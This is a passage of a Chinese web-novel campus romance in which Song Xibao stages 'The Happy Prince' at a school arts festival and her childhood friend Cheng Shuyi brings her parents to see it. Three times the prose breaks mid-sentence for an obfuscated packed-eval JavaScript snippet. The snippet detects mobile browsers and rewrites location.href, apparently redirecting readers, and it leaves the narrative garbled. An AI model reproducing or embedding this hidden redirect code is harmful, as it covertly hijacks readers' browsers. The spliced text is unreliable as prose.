“有！”后排一个男生唰地站了起来，手指着同桌道，“魏老师，让邱俊杰上吧！他会说相声！” “我会说你妈！”邱俊杰立刻反驳，随即反应过来自己当老师面说了脏话，立马换了个表达方式，表情为难道，“魏总，我真不会说相声，黄栋他就是故意整我的！” “他会说！我经常听他模仿冯巩和——”黄栋话没说完就被邱俊杰捂住了嘴，两个男生在座位上打闹起来。 魏勇一看，当即拍板决定说：“相声一个人说不如两个人说好看，干脆你俩一起上吧！” 俩男生互扯着衣服领子扭头看魏勇，齐“啊”了一声。 宋西宝受到启发，班会结束后立刻跟曾跃还有几个部长在群里讨论，说要不他们也整个语言类节目算了，比如演小品？ 大家都说行，主要确实也想不到别的了。 但是说定之后，宋西宝左思右想，又总感觉还欠缺点什么，但具体是缺什么呢？她一时半会儿又想不出来。 她心里记挂着这事，晚上放学回家路上也没心情跟朋友们插科打诨了。 公交车摇摇晃晃在夜里行驶，他们四个坐在最后面，方思彤小小声地正在给身旁的周笃文讲题，程书逸斜眼看了眼身边一直闷着不吭声的人，没忍住拿胳膊碰了她一下，问：“你怎么了？” “怎么？”宋西宝咬着嘴皮抬头看他，眉心还蹙着。 “发什么呆呢？”程书逸又问，吐槽说，“脸皱得跟抹布一样。” 十分罕见地，宋西宝竟然没有回怼他。 她只是不耐烦地撇了下嘴，说：“烦着呢，没工夫跟你闹。” 话音落，她突然反应过来——一个脑子不好使，她可以多借几个脑子用啊，正好她面前摆了俩好脑子，不用白不用啊！ 程书逸看她脸色“多云转晴”，一看就没憋什么好屁，于是立刻高贵冷艳地转过脸去摆出了一副谁都不想搭理的模样。 宋西宝嘿嘿笑着，伏小做低地两手轻拽他衣袖，说：“程书逸，我问你个事呗！” “别问，烦着呢，没工夫跟你闹。”程书逸有样学样地把话还给了她。 宋西宝心里腹诽：这人心眼怎么这么小？ 但是面上还得赔笑：“程~书~逸~” 程书逸被她叫出了一身鸡皮疙瘩，差点从椅子上跳起来。他扯下她手，说：“有事说事，别发癫。” 宋西宝悄悄翻个白眼，忍下了这口气。 她又叫了声前排的方思彤，招手示意两人凑近道：“你俩帮我分析分析，我……” 她话还没说完，周笃文不满地插话道：“我呢？你怎么不问我？” 对他，宋西宝就没那么有耐心了，敷衍道：“行行，还有你，你们仨帮我分析分析我这个想法……” 宋西宝把他们社打算表演小品的想法说了，周笃文听完，立马举手发言说：“你们可以演《吃面》，那个小品我看好多回了，特别搞笑！” 宋西宝不耐烦道：“先说要不要演小品的问题！都还没想好要不要演呢，哪儿说得上具体演什么？” 周笃文手扒着椅背垫着下巴“哦”了一声，方思彤斜了他一眼，差点没忍住伸手摸他头给他顺毛。 宋西宝看看程书逸，又看看方思彤，期待着他俩能给她点建议。 方思彤思考了一会儿，说：“非要把两者扯在一起的话，其实也能扯，好的语言类节目的文本肯定是带有一定文学性的。” 程书逸接上方思彤的话继续道：“只是说从表现形式上来说，可能会给人一种感觉，觉得小品这种节目形式跟‘文学社’三个字没什么太大关系。” 宋西宝猛地一拍手，说：“就是这个意思！我就说感觉哪儿不对劲，半天表达不出来……”她说着，忽而又变脸了，眯着眼抬手顺了把程书逸脑袋，说，“还是学霸的脑子好使啊！” 程书逸没有防备她会突然摸他头，被她得手后整个人直接愣住了。 宋西宝看他不反抗，又觉得手下这个触感实在是舒服，于是没忍住又摸了一把。 程书逸这下回过神来了，正要发作，宋西宝及时收手，说：“我想到了！” “想到什么了？”方思彤问。 宋西宝嘴角一勾，笑容神秘道：“我想到我们要表演什么节目了。” “什么节目？”周笃文问。 宋西宝卖起了关子，说：“等我确定好再跟你们说吧！” 当天晚上，宋西宝都躺床上准备睡觉了，忽然收到程书逸发来的消息，语气暗含杀机—— 【下次再敢摸我头手给你剁掉！】 宋西宝切了一声，钻进被窝里慢条斯理给他打字回道： 【我就摸。】 【有本事】 【你剁啊！】 对面估计是被她的无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15132613|159763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赖惊到了，在想要怎么回复才能挫掉她的锐气，隔了好一会儿才回复： 【小矮子，你以为你下次还能有机会摸到我头吗？】 宋西宝呵了一声，没有再回复。 第二天一早，宋西宝在老妈的连环催促声下叼着煎饼急匆匆地出了门。 另外三人已经在小区门口等她了，看她又是呼哧带喘跑来的，程书逸忍不住吐槽：“你就不能早起两分钟吗？” 宋西宝跑到三人面前站定，恶狠狠咬了一口煎饼，说：“不能！” 程书逸朝天浅白一眼，也懒得说她了。 “走吧，车马上来了。”程书逸招呼道。 宋西宝刚走出一步就停了下来，惊呼：“哎呀，鞋带掉了！” 三人回头看她。 宋西宝一手拿着牛奶，一手拿着煎饼，满脸无辜。 程书逸轻叹口气，走过去蹲下身道：“脚伸出来。” 宋西宝朝一旁的方思彤和周笃文眨了眨眼，然后乖乖把脚伸了出去，再然后趁着程书逸给她绑鞋带的功夫，她叼起手里的煎饼，空出手来飞快摸了一把程书逸的头。 就跟摸狗一样。 程书逸：“…………” “哈哈哈哈哈哈……”宋西宝摸完跳起来就往外跑。 方思彤和周笃文两脸懵逼，完全不知道他俩在玩什么游戏，但这并不妨碍他俩看戏。 程书逸一脸要杀人的表情吼了一声：“宋！西！宝！” 然后追了上去。 方思彤看着俩人背影，嘴里咬着吸管，一脸淡定地问身边人：“多少？” “二十。”周笃文一脸痛下决心的表情。 方思彤勾唇一笑，说了句：“成交。” 程书逸虽然表情吓人，但是追上宋西宝后并没有真的把她怎么样。 他们走到车厢后排坐下，程书逸眼神略带警告地看着她说了一句：“以后不要随便摸我头。” “为什么？”宋西宝看着他，脸上是难得一见的傻白甜表情。 程书逸有点受不了她这样看着他，别扭地移开视线道：“没有为什么，就是别摸。” “哦。”宋西宝转过去坐好，没两秒钟，又转过来看他，问，“摸你不行，那我摸别的男生呢？” 程书逸：“……” 程书逸：“也不行。” “为什么？”宋西宝还是问，还指责他，“你也太霸道了，连别人的头都要管。” 程书逸：“……” 程书逸跟她说不清楚，无语道：“那你为什么非要摸人头呢？” 宋西宝粲然一笑，说：“因为我喜欢啊！我觉得摸起来很舒服，手感巨好嘿嘿。” 她一边说，一边又飞快地摸了一把他头。 程书逸表情看上去像是彻底放弃了，没再说不准她摸头的话。 公交车走走停停往前开，车门一开一关的间隙，坐在前排的方思彤忽然听见身后程书逸小小声地说了一句：“你摸我头就算了，不能再随便摸其他男生的头了，听见没？” 宋西宝学他，同样小小声地“哦”了一声。 方思彤目视前方，朝身边人摊开了手掌。 周笃文长叹口气，认命地从兜里摸出两张十块拍在了她手上。 57. 艺术节（1） 关于艺术节，宋西宝想好了，她决定排一出话剧。 她把这个想法跟社团成员一说，大家都觉得很新奇，又有些担心——他们能演好话剧吗？他们都不是专业的，甚至他们这群人里好多都是第一次听说“话剧”这个东西。 “不试试怎么知道行不行？”宋西宝给大家打气，“就当玩一下嘛，反正你们不是也挺感兴趣的吗？到时候不行再说嘛！” 曾跃问：“那我们演什么呢？” 郭凯说：“《雷雨》！或者老舍的《茶馆》？” 宋西宝沉思了一会儿，决定去问问上一届的副社长刘敏。 刘敏在担任文学社副社长的时候，是主管编辑部的，校报和社刊上有不少文章都出自她手，她还曾经拿过省级创作类比赛的一等奖，是四中出了名的笔杆子。 宋西宝执行力很强，当天就去找了刘敏，然后把自己想在艺术节上排一出话剧的想法同她说了。 课间走廊里人多吵闹，刘敏将她拉到楼梯拐角，细细地又听她说了一遍排话剧的想法。 宋西宝说完，有些紧张地看着学姐。 刘敏思索了一番，微笑道：“挺好的，不过我不是很建议你们自己写剧本，话剧的表演要求很高，剧本更是需要反复深度地打磨后才能搬上舞台，考虑演出效果的话，我建议你们直接去复刻名家之作会比较好。” 宋西宝跟着点头，又把现任编辑部部长郭凯的提议同她说了。 不想刘敏听了却摇头说：“《雷雨》和《茶馆》虽然都是名作，但你们作为没有任何表演经验的新人，第一次尝试就贸然去演这种剧情纠葛复杂的大作，最终呈现出来的效果可能不会太好。” “那学姐……”宋西宝求助地看着她。 刘敏想了想，说：“我觉得你们可以尝试一下童话故事。” 宋西宝：“童话故事？” 刘敏点头：“嗯，也可以说是寓言故事，剧情简单，人物关系也不复杂，整体呈现起来会比较容易一点。” 宋西宝担忧道：“不会显得太幼稚吗？” 刘敏笑着摇头：“恰恰相反，很多童话故事不仅不幼稚，反而还具有一定的现实意义，比如王尔德的《快乐王子》，我觉得就挺适合搬上舞台的，你可以先看看这本书。” 宋西宝忙点头道：“行，那我先去看看琢磨一下，谢谢学姐！” 刘敏：“不客气。” 周五下午放假，宋西宝没有直接回家，而是拉着程书逸一起先去了趟枫叶书店找书。 方思彤和周笃文没有跟他们一起，他俩一个晚上要去爷爷奶奶家给老人祝寿，一个说跟别的朋友约好了去打台球，都没空。 书店内，程书逸站在书架前浏览着架上书籍，边看边说：“待会儿买书你自己付钱啊，我可不帮你付。” 说完半天没听见反驳的声音，他往旁边斜了一眼，发现身旁的女孩手捧着书籍低头正看得认真，压根儿没听见他说了什么。 程书逸静静看了她一会儿，没再打扰她，自己从架上取了本书，也低头翻阅了起来。 图书区安静极了，没人说话，只有时不时翻阅书页的窸窣声。 就这样过了好一会儿，宋西宝忽然啪一声合上书，扭头看着程书逸一脸惊喜道：“学姐太厉害了！这故事写得真好！太适合搬上舞台了！” 她说话时，神采飞扬，五官的情绪变化极为明显，就像动画片里的小女孩一样。 程书逸被她情绪感染，表情也跟着轻松愉悦起来，问她：“什么故事？” 宋西宝激动地拉过他，跟他讲了一遍《快乐王子》的内容，然后又把她想在艺术节上排一出话剧的想法以及刘敏学姐给她的建议都说了。 程书逸听得很专心，但过程中还是不免走了个神。 他想——谁说她不优秀了？她明明每时每刻都在发光，就像个超大瓦数的灯泡一样，晃眼到让人完全没办法忽略她的存在。 “……你有没有听我讲话！”宋西宝不满地瞪了他一眼，顺便把他往自己这个方向拽了一把。 程书逸被她拽得身子往下，回神，眼神有些茫然地对上了她的目光：“嗯？” 两人忽然近距离的四目相对了。 宋西宝被少年漂亮的双眼直直瞧着，忽然生出些心慌来。 但她还没来得及困惑这心慌的缘由，程书逸忽然率先直起身拉开了两人的距离，然后也不看她，只是问：“你选好了吗？就这本吗？” 宋西宝讷讷点头，说：“嗯，就这本。” 程书逸将手上拿着的书放回书架，转身往收银台走：“那走吧。” 宋西宝：“噢。” 结账的时候，宋西宝刚要掏钱，程书逸已经把钱递了过去。 两人走出书店，宋西宝问他：“你不是说让我自己付钱吗？” 程书逸冷笑一声，斜她一眼，作势要回去：“那把书退了你自己重新付吧。” “诶诶诶！别呀！”宋西宝抓住他胳膊制止，一脸憨笑，“谢谢老板请客！作为回报，我请你吃天蚕土豆吧！大份麻辣不加糖？” 程书逸轻哼一声，边往家的方向走边道：“再加两串炸青椒。” 宋西宝：“得嘞！” 周天下午收假，宋西宝拿着《快乐王子》的书找到郭凯，让他先把故事梳理成剧本。 郭凯动作很快，接到任务后第三天上午就把改编好的剧本交给她了，宋西宝于是带着剧本又去找了一次刘敏，想请她帮忙为其润色一下。 宋西宝去高三教学楼找刘敏的时候因为太心急，上到三楼的时候不小心在楼梯拐角跟人撞上了，她着急忙慌道歉，结果抬头一看，被她撞到的人正好是刘敏。 “学姐！”宋西宝满眼惊喜，又赶紧给她道歉，“对不起啊学姐，我跑太快了，我正想去找你来着！” 宋西宝边说边蹲下身去帮忙捡刘敏掉在地上的东西。 当她手摸到地上一本湖蓝色封面的笔记本时，刘敏飞快地先她一步捡了起来，然后问她：“你找我？什么事？” 宋西宝把自己想找她帮忙润色剧本的事说了，刘敏倒是没拒绝，不过她说自己上了高三后课业压力大，最近手头又在忙别的事时间稍微有点紧张，可能没办法亲自一点点慢慢去改。 “……这样吧，周五下午放假后你把郭凯叫上，我在教室等你们，我们可以当面讨论一下修改意见，这样也方便郭凯后期修改，你觉得呢？” “好！麻烦你了学姐。” “没事。” 时间一天天过去，云市由春入夏，气温逐渐开始升高了。 学校操场上开始陆续搭建起了舞台和灯光，而高一高二以及三大社的节目筹备也进入到了筛选的流程。 所有节目中，合唱节目的数量是最多的，当然被刷掉的数量也是最多的，最后只保留了两个。 舞蹈类节目的数量要多些，团体舞加上街舞社一共有三个，独舞有一个，还有一个双人舞。 乐器演奏类节目的数量也多，十四班准备的两个演奏类节目：笛子和小提琴都被刷下去了，最后被留下的是邱俊杰和黄栋二人表演的双簧节目——没错，他们最后又改演双簧了。 文学社准备的《快乐王子》话剧也通过了筛选，团委的老师在第一次彩排 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15137674|159763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结束后专门私下找宋西宝给他们社批了一千元的经费，让他们把舞台道具升级一下，说是校长觉得他们的道具看着太简陋了。 艺术节前两日是校运会。 高一的时候，宋西宝因为脚受伤，女子1500米长跑遗憾没能上场，而这次，压根不用邱俊杰求她，她自己主动就报了名。 操场上，校运会各项目如火如荼地进行着；而舞台上，四个负责主持艺术节晚会的少男少女们正在老师们的指挥下一遍遍重复走位以及练习串词。 女子1500米的枪声打响后，正在念词的程书逸忽然停声，目光越过眼前众人，望向了操场的另一头。 “程书逸！集中！”老师在旁边提醒。 程书逸喉结滑动，收回视线说了句抱歉。 等他重新念完一遍词的时候，台下跑道两边加油声骤增，不少人喊着宋西宝的名字。 程书逸手拿话筒退到了舞台边上，他佯装不经意地扭过脸去，却正好跟台下风一般跑过的女孩对上了视线—— 宋西宝跑得游刃有余，甚至还有空朝他眨眼。 同在舞台旁等候的吴静初斜眼一看，正好捕捉到少年唇角边一晃即逝的笑容。 她收回目光抿唇微微一笑，默默在心里提醒自己：观棋不语真君子。 不语，不语。 第三日，上午教师比赛的环节结束后，校运会就正式结束了。 下午三点四十，在校广播的通知下，学生们开始陆陆续续拎着板凳下楼涌向了操场。 小卖部也是人满为患，不少学生都打算买上零食饮料，待会儿边看节目边吃东西。 舞台下面的候场区此时也是异常热闹。 程书逸已经换上了主持人的演出服，也配合化妆老师做好了发型，上了淡妆。 他个子高，身材比例又好，穿上贴了碎钻的黑色西装礼服整个人气质一下就不一样了，吴静初打趣他，说他看着像个矜贵的豪门少爷。 程书逸打扮完后便着急要走，吴静初问他去哪儿？又提醒他说等下还要上去试麦和走位。 程书逸点头表示知道，说：“我去接个人，马上就回来。” 他推门而出，穿过人满为患、拥挤狭窄的走廊，一路上收获了不少注视和打量。 等他从台下出来，从跑道上同学们眼前跑过去时，又引起了一阵不小的起哄声。 宋西宝穿着小鸟的道具服站在班级队伍的最后，跟着人群起哄注视的方向望了一眼，一脸茫然地问谢飞燕道：“他们喊什么呢？” 谢飞燕正在帮她拉拉链，闻言也抬头往前望了一眼，又摇头说：“不知道。” 章楚楚从十八班过来了，三姐妹刚说没几句，穿着长衫的邱俊杰从前面兴冲冲跑过来，先喊了声班长，然后又闹着要让宋西宝把她的小鸟头套戴上跟他们一起拍张合照。 一说拍照，周围的人都起哄闹着要拍。 小鸟头套是露脸的，宋西宝为了配合大家，姿势和表情换了又换。 过了会儿，曾跃来找她了，说大家商量着去那边空地上再对对词。 宋西宝忙说好，临走前又嘱咐谢飞燕说：“燕子我先过去了啊，你待会儿别忘了帮我录像和拍照，我好拿回去给我爸妈看！” 谢飞燕笑着比了个OK的手势，又手握成拳给她加油道：“加油！” 宋西宝：“加油加油！” 程书逸一路急跑，在距离校门口还有五十米时突然停住了脚。 他缓了缓气息，待喘息稍定后才又再度小跑了起来。 “谭姨！宋叔！”程书逸给站在校门外的两人招了招手。 58. 艺术节（2） 除了每年开学的时候，这还是夫妻俩第一次到女儿的学校来。 瞧见程书逸给他们招手，谭淑媛忙也跟着举起手挥了挥，一旁的宋卫国不太熟练地跟着老婆有样学样，表情看上去还有些紧张。 他俩是站在电子围栏外的，保安并没有放他们进来。 程书逸过去，保安上下打量他，主动问：“你是白天那个邵老师过来招呼过那个学生吗？” 程书逸点头，说：“对，我叫程书逸，高二八班的。” 保安点点头，转身把电子围栏打开了，程书逸忙上前去接二人。 往操场走的路上，谭淑媛拉着他手说：“要是你妈妈没出差就好了，我们就可以一起来看节目。” 程书逸垂着眼笑，说：“是有点可惜。” 谭淑媛又问：“你们别的学生父母没法进来啊？” 程书逸思考了一下，说：“要进应该也能进。” 谭淑媛扭头跟丈夫对视一眼，一切尽在不言中。 谭淑媛又盯着他看，啧啧赞叹道：“小逸这么一打扮真的是太好看，太帅气了！” 她光说不够，干脆停下来，让程书逸站好，说要给他妈妈拍几张照片发过去。 程书逸有些不好意思，但还是规规矩矩地站好了让谭淑媛拍了个够。 “好了好了，我们走快点，小逸还要上台主持节目呢！”宋卫国拉了一下老婆。 谭淑媛忙说：“哦对对对，走吧走吧。” 快到操场入口的时候，程书逸说：“谭姨，宋叔，西宝的节目是第五个出场的，叫《快乐王子》，你们注意听一下。” 夫妻俩忙点头说好。 他们在操场入口处分开。 程书逸刚一回到候场区，吴静初就着急地过来跟他说：“刚我们已经排过一轮了，邵老师问你去哪儿了，我说你肚子不舒服上厕所去了，你待会儿可别说漏嘴了。” 程书逸点点头，跟她道谢。 吴静初说不客气，又多问了一句：“你说你去接人，你接谁啊？” 程书逸没回答，反而看了她一眼，岔开话题说：“你左边眼睛的假睫毛好像有点翘起来了。” “是吗？”吴静初一听，忙又扑到镜子跟前去检查起了自己的妆容。 五点，晚会正式开始了。 一段冗长无聊的校长致辞后，四位主持人登台，按顺序说起了开场串词。 台下掌声雷动，但压根儿没人关心主持人们说了啥，都在忙着欣赏那四张女娲娘娘格外关照过的脸。 谢飞燕在台下相机快门按得飞起，嘴里赞叹声不断。 一旁的邱俊杰见了，不满道：“老谢，待会儿我上台你也得这么给我拍，听见没？” 谢飞燕不爱搭理他，敷衍地说了两句知道了，邱俊杰忿忿，越看台上的程书逸越不顺眼。 第一个出场的节目是舞蹈节目，团体的，从服饰到妆容再到背景音乐，全都喜庆的不行，乍一看，不知道的还以为要过年了呢！ 文学社的节目虽然排在第五个上场，但第二个节目刚演完的时候，负责控场的学生干部就来提醒他们做准备了。 《快乐王子》这出话剧虽然剧情简单，人物关系也不复杂，但是台词都是大段大段的。 原本当初定演员的时候是没有宋西宝的，但是原定演小鸟的那个高一女生一直背不下来词，其他人有的害羞不愿意登台，有的不愿意穿玩偶服，总之最后就是实在找不到人选了，宋西宝这才亲自上场出演了《王子》中小鸟一角。 候场区人满为患，宋西宝难得有些紧张，她打算找个安静的地方自己再完整地背一遍词，于是便挺着鸟屁股一顿一顿地走到入口的台阶那边去了。 她正背得认真，忽然感觉头套被人抓了一把。 她惊疑回头，冷不丁跟俯身的程书逸撞上了视线—— 一张近距离放大的帅脸猛地撞进她眼里，宋西宝心脏漏跳一拍，差点吓得叫出声来。 这是今天她第一次面对面，这么近看到他。 下午最后一次彩排的时候虽然也看到了，但那时候离得远，她又全身心投入在自己社团的节目上，都没仔细看过他。 而此时…… “你走路没声音啊！”宋西宝责备地打了他胳膊一下，力气并不重，但是程书逸还是假装吃痛地捂住胳膊皱了皱眉。 宋西宝被他委屈巴巴又充满怨念的眼神看得心里一惊又一惊。 他今天太不一样了。 该怎么形容这种感觉呢？宋西宝语文水平有限，说不太上来。 她不是没见过这样精心打扮的程书逸，但那毕竟是小时候，小时候的他哪怕精心打扮过，也不会像现在这样给她这么强的视觉冲击力。 她甚至荒谬地觉得他在她面前故意吃痛皱眉的表情有点像是在勾引她。 不是猫吗？怎么突然变男狐狸了？ “干嘛一直盯着我看？”仿佛是听到了她的心声，程书逸忽然更往前地朝她靠近了些。 宋西宝心乱如麻，结结巴巴地推开他说：“你、你……你干嘛？” “我、我……我干嘛？”程书逸学她说话。 宋西宝根本不敢跟他对视了，她觉得自己突然变得好奇怪，心慌得不行，还很紧张。 “好了，不逗你了。”程书逸直起身。 距离拉开的一瞬间，宋西宝狂跳不止的心平静下来了。 她有点懊恼地想着：自己可真是没出息，竟然差点被程书逸的小小美色给冲昏了头。 宋西宝稳住心神，尝试着抬头看了他一眼，问：“你怎么在这儿？你不是主持吗？” 程书逸点头：“嗯，但这会儿还没到我上场，我就先过来看看你，看看某人是不是被吓破了胆，又焦虑得不行了？” 宋西宝可算知道他出现在这儿是为了什么了，原来是想看她笑话。 她没好气道：“用不着你操心，本人现在心态良好，一点也不焦虑。”说完，嘟囔道，“又不是没上过舞台。” 程书逸在她看不到的地方笑了下，又趁机揪了下她的脸，然后飞快地摸出手机对准他俩道：“小鸟看这儿！” 宋西宝原本龇牙咧嘴地要还手，结果被他一句话打岔立马变脸朝镜头笑着比了个耶。 程书逸收回手机看了眼，没忍住噗嗤笑了，说：“宋西宝，你怎么笑这么傻？” 而宋西宝沉浸在他灿烂的笑颜中，一时间都忘了去反驳。 天色逐渐变暗，程书逸上台报完文学社的节目后，台下躁动声明显更大了些。 舞蹈唱歌这些都是晚会的常见节目，但话剧，大家还是头次听说。 快乐王子？这名字听起来也太中二了吧？ 学生们好奇地看着舞台上正在忙着布景的工作人员，十四班队伍里，谢飞燕举起相机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15145813|159763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，随时预备着。 布景完成后，舞台上好一会儿没有任何动静，就在台下大家纷纷感到奇怪时，忽而一束聚光灯打在了舞台正中，只见宋西宝身穿小鸟道具服，眼神机灵又好奇地四处张望着，走动着，朗声道： “冬天马上就要来了！我的同伴们都飞往了埃及，我刚刚告别了我心爱的芦苇，现在，我要到金字塔那边去了！那是一个温暖的地方，我的朋友们都在那儿等我！” 话音落，聚光灯消失，与此同时，另一束聚光灯又亮了起来，打在了一个头戴金色王冠，手握剑柄的王子身上。 王子全身穿着金色衣服，甚至连脸都涂成了金色，台下观众们笑出了声，这时“小鸟”飞到了王子身边，它左看右看，一圈圈地绕着看，看了许久也没弄明白这是什么？于是它奇怪地看向台下，似乎在向观众提问：“这是什么？” 伴随着小鸟的疑问，聚光灯再次消失，下一秒，舞台某处角落灯光骤亮，一个“母亲”搂着怀中啼哭不止的婴孩出现，说：“为什么你不能像快乐王子那样呢？快乐王子连做梦也没想到会哭着要东西。” “母亲”话音毕，聚光灯消失，下一秒，聚光灯又在另一处亮起，打在一个衣着落拓的男人身上，只见男人望着王子雕像的方向，失意地说：“我真高兴世界上究竟还有一个人是很快乐的。” …… 文学社的话剧节目大获成功。 最后小鸟伏在地上死去以及王子像轰然倒下的那一瞬间，谢飞燕都看哭了。 掌声经久不息，吴静初和程书逸在控场老师的示意下走上了舞台，背后是正在快速撤景的文学社众人。 下了台，众人总算松了口气。 曾跃眼含热泪扑上来抱住了宋西宝，这个时候，郭凯也顾不上男女授受不亲了，跟着扑了上来。 大家抱在一起，有笑有泪，都彻底地投入进去了，酣畅淋漓。 节目还在继续，他们演出完的收拾好东西就可以回自己班上了。 宋西宝正在随同大家一起收拾道具，忽然敲门声起，离门近的一个女生小跑过去开了门，瞧见来人，忍不住捂着嘴小小惊呼了一声，喊了声“学长”。 宋西宝扭过头看。 程书逸站在门外叫她：“出来一下。” 他没有叫名字，但是在场众人，包括宋西宝自己都知道他是在叫她，因为他的眼睛直直地只看向了她。 宋西宝出去了，留下了满屋八卦的人。 刚给程书逸开门的那个女生凑到曾跃面前，好奇地打听问：“学姐，宋学姐跟程学长，他们俩是什么关系啊？” 女生一问，旁边几个高一的都跟着凑了过来，想听八卦。 曾跃瞟了眼半掩的门，小声说：“听说他们是发小。” “青梅竹马啊！”女生明显激动起来，“那他们在一起了吗？” 曾跃摇头：“没有吧，你们学姐直的要死，好像一直是单身。” “啊……”女生一下失落起来。 宋西宝跟着程书逸一直走到了候场区的入口台阶那儿。 这儿没有那么多人了，程书逸站定后似乎还组织了一下措辞，宋西宝看他犹犹豫豫的，忍不住问：“怎么了？” 程书逸说：“西宝，你爸爸妈妈今天晚上其实也来了，他们刚给我发消息，说准备走了，我让他们在操场入口那儿等一下，你要不要去见一下他们？” 59. 拥抱 “我爸妈来了？”宋西宝一脸震惊，连环提问，“他们怎么来了？你叫他们来的？” 她此时还穿着道具服，只是没有戴头套，因为出过汗，额头碎发凌乱地贴在脑门上，再配上她这副呆滞的表情，其实是有点好笑的。 但是程书逸不敢笑。 他后知后觉地想起一些不愉快的记忆，在那些记忆里，因为他的“奇思妙想”和擅自做主，宋西宝对他非常生气，甚至还跟他绝交了。 而今天晚上，他显然又“奇思妙想”加擅自做主了。 他忽然有点后怕。 “呃，是我把他们叫来的，我只是想……”程书逸挠头，思考着应该怎么解释自己这么做的动机。 “你之前不是总跟我抱怨说你爸妈老忽视你优秀的那一面吗？我就想如果能让他们亲眼看见你在舞台上的表现的话，他们应该会……” 程书逸颠三倒四的话还没说完，宋西宝上前一把抱住了他。 因为道具服的原因，宋西宝的这个拥抱其实是有点费劲的，但她仍然尽全力抱住了他。 而程书逸在被她抱住之后就像突然被人点了穴似的，身体、手脚突然全都不会动了，甚至连表情都傻掉了。 直到宋西宝说：“谢谢。” 程书逸才猛地回神，然后讷讷回了句：“不客气。” 宋西宝松开他，忽然朝他咧嘴笑了一下。 程书逸虽然看过她各种各样的笑容，但仍旧被她此刻的明媚所打动。 宋西宝说：“那我去了。” 程书逸嗯了声。 宋西宝往操场入口跑的时候，心情愉快地就像是要飞起来了一样，她完全没法形容这种感觉，好像全世界的烟花都在她身体里绽开了。 美得冒泡。 其实抱程书逸那一下是她自己都没想到的，但她就是抱了，还抱紧了。 程书逸应该也被她吓到了。 但他好像并没有表现出什么不开心。 宋西宝觉得某个结论似乎远在天边近在眼前了，但她忽然有点不敢面对，因为这个结论涉及到的另外一方他不是别人，是程书逸。 是她童年时就认识的，至今为止，最重要的朋友之一。 爸妈就站在入口处等她，宋西宝隔老远就开始给他们招手，爸妈也瞧见了她，也跟她挥了挥手。 跑得近了，宋西宝才发现爸爸今天又穿了那身西服，而妈妈明显也精心打扮过了，漂亮得像是要去参加什么宴会一样。 “爸！妈！”宋西宝像幼时那样闷头撞进了爸妈怀里。 宋卫国哎哟一声，还想试着把她举起来，但是已经举不动她了。 “你们怎么来了？”宋西宝站直后问，其实她已经知道答案了，但还是忍不住又问了一遍。 谭淑媛笑着说：“我们来看你的节目啊！小逸请我们来的，他说你这次排的这出话剧非常受老师同学们的欢迎，所以强烈建议我们也来现场看一下，感受一下我女儿有多棒！多优秀！” 谭淑媛边说边捏了捏她的脸颊。 宋卫国比出一个大拇指，接话道：“优秀！我闺女太优秀了！爸爸觉得你适合当个演员，真的，你演得太好了！” 宋西宝有些不好意思，撒娇道：“真的假的，你们别是骗我的吧？” “没骗你！”谭淑媛说，凑近小声揭穿道，“你爸刚都看哭了。” “真的啊？”宋西宝一脸惊喜加惊讶。 宋卫国忙打岔道：“诶诶！别乱说啊！我没哭！” 母女俩对视一眼，都忍不住笑了。 笑过后，谭淑媛拉着女儿的手，眼神有几分感慨道：“上周六小逸来店里找我们，说让我们艺术节来看你表演，还说你心里不高兴，因为爸爸妈妈总是拿成绩作为唯一标准要求你。” 宋西宝有些别扭：“他跟你们说这些干嘛呀？”又问，“他还说什么了？不会说我坏话了吧？” “你呀你呀！”谭淑媛用手戳她脑门儿，“人家小逸才不像你，心眼儿那么小，他可没说你坏话，说的全是你好话！” 宋西宝一听，心里更像有个痒痒挠在抓了，忙问：“他说我什么好话了？” 谭淑媛说：“他说，今天只要我们来了，看了，就会明白，即便你考不上大学，也会成长为一个非常优秀的人，他还说，有他在，一定会拉着你一起上大学的！” “他真的这么说？”宋西宝有点惊讶。 谭淑媛点头：“真的啊？不信你问你爸！”说完，又捂着嘴偷笑起来，显然是想到了什么好笑的事，“你爸爸还偷偷问我，你跟小逸是不是在谈恋爱哈哈哈。” “没有！”宋西宝立马反驳。 宋卫国显然不信：“真没有？” 宋西宝一脸无辜：“真没有！程书逸天天把‘早恋是违反校纪校规’的挂嘴边，他怎么可能跟我早恋？” 宋卫国抓住关键信息，反问：“那意思就是你对人家还是有那个意思咯？” 宋西宝一听，直接毛都炸了：“怎么可能！爸你乱说什么呀！你再乱说我要生气了！” 宋卫国忙道：“好好好，爸爸不乱说。” 这晚，宋西宝躺在床上辗转反侧，脑子里翻来覆去回想的全是她跟程书逸之间的那个拥抱，以及妈妈跟她说的那些话。 